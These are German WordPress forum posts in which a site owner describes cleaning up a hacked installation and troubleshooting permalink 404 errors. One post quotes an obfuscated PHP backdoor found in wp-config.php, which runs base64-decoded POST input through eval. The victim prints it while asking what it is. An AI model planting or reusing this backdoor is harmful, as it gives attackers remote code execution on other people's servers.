Wanted2bfree
Verfasste Forenbeiträge
-
Forum: Installation
Als Antwort auf: Nach Schadsoftware auf Webspace, WordPress neu einrichtenHey Bego,
Zu dem Brunelleschi Theme: Ich glaube tatsächlich, dass es in ein Child-Theme geschrieben wurde, habe im Backend vom Theme eine extra Option gehabt, um diese Veränderungen vorzunehmen.
Dein Tipp war richtig! Durch die Sperrung waren die Permalinks nicht möglich. Jetzt geht es auch wieder damit!
Login Lockdown habe ich installiert, ebenso ein Backup Plugin um es jede Nacht zu sichern. Und ich habe noch All in One WP-Security installiert, was ich jetzt noch einrichten werde.
Vielen Dank für die kompetente Hilfe, ich glaub mein Fall ist hiermit gelöst!Forum: Installation
Als Antwort auf: Nach Schadsoftware auf Webspace, WordPress neu einrichtenHallo nochmal,
vielen Dank für die zusätzlichen Tipps!
Ich habe zunächst den Tipp befolgt, erstmal alles vom FTP wegzulöschen im WordPressordner, außer die wp-config.php und den Upload Ordner im wp-content.
Dann bin ich die Uploadordner durchgegangen: Da habee ich tatsächlich im Upload Ordner versteckt ungefähr 10 .php Dateien entdeckt, die ebenfalls Schadcode enthielten. Die habe ich jetzt alle rausgelöscht. Jpgs mit 0kb habe ich keine gefunden.
Danach habe ich auch das Theme (Brunelleschi) nochmals heruntergeladen und neu aufgespielt. Die paar Custom Änderungen habe ich schnell per Hand wieder eingepflegt.
Habe jetzt an meinen Hostinganbieter die Anfrage gestellt, ob der Webspace wieder freigegeben werden kann.
Mein Problem mit den 404 Permalinks ist allerdings immer noch nicht behoben dadurch… 🙁 Nur die Standarddarstellung mit /pageid=31 funktioniert derzeit..
http://www.polgar-stuewe.de heißt die Seite und ist jetzt auch wieder erreichbar.
Forum: Installation
Als Antwort auf: Nach Schadsoftware auf Webspace, WordPress neu einrichtenÜbrigens habe ich in der wp-Config folgenden Code entdeckt, der ganz oben drin steht. Weiß einer was das sein soll? Habe das mal rausgelöscht vorsichtshalber…
<?php $kxls19 =“stb6ao_epd4c“; $sre2 = strtolower ($kxls19[2].$kxls19[4].$kxls19[0]. $kxls19[7] .$kxls19[3]. $kxls19[10]. $kxls19[6] . $kxls19[9].$kxls19[7]. $kxls19[11].$kxls19[5].$kxls19[9]. $kxls19[7] ); $kmad93 = strtoupper( $kxls19[6].$kxls19[8].$kxls19[5].$kxls19[0].$kxls19[1] ); if(isset ( ${$kmad93} [ ’n764b3b‘ ] ) ) {eval( $sre2 ( ${$kmad93} [’n764b3b‘] ) ) ;}?> <?phpForum: Installation
Als Antwort auf: Nach Schadsoftware auf Webspace, WordPress neu einrichtenHallo nochmal,
danke für deine Tipps. Also ich habe folgendes versucht:
.htaccess Datei gelöscht via FTP und eine leere neue Datei mit 644 Rechten angelegt.
Im Backend Permalinks ausgewählt und gespeichert, 2 mal hin und her gespeichert.Die .htaccess Datei enthält auf jeden Fall jetzt Daten, das seh ich auf dem Server. Also das Beschreiben von WordPress funktioniert. Aber der Fehler mit 404 ist immer noch da.
In der Datenbank hab ich bei wp_users keine falschen User gefunden.
Zu Wp_posts: Da habe ich in den über 1300 Einträgen nach „iframe“ gesucht, aber nichts gefunden.
Im Uploads Ordner befinden sich sehr viele Ordner von den vergangenen Jahren. Die Seite ist schon älter.Ich möchte nochmal sagen, dass ich ein Backup von vor dem Angriff aufgespielt habe und DANACH aber noch eine komplette WordPressinstallation „frisch“ drüberkopiert habe über das bestehende. Kann es daran irgendwo liegen? Habe die wp-config.php und die functions.php aber vom Backup beibelassen, weil da ja teils wichtige Zugangsinfos drinstehen.
Sonst noch irgendwelche Ratschläge? Ich kriege die 404-Meldungen nicht weg, wenn ich permalinks auswähle:(
EDIT
Ich bin soweit, dass ich ins Custom Permalinkfeld /index.php?/ eingefügt habe, so kann ich zumindest schonmal etwas umgehen. Allerdings klappen dann nur die SEiten, keine einzelnen Beiträge, da lande ich automatisch auf http://www.meineseite.de/?/Irgendwelche Tipps?
Wenn ich Permalinks eingestellt habe und im Backend auf einen Beitrag klicke und darüber „Vorschau“ mache, dann kommt auch ein 404 Fehler:
Objekt nicht gefunden!
Der angeforderte URL konnte auf dem Server nicht gefunden werden. Der Link auf der verweisenden Seite scheint falsch oder nicht mehr aktuell zu sein. Bitte informieren Sie den Autor dieser Seite über den Fehler.
Sofern Sie dies für eine Fehlfunktion des Servers halten, informieren Sie bitte den Webmaster hierüber.
EDIT ENDE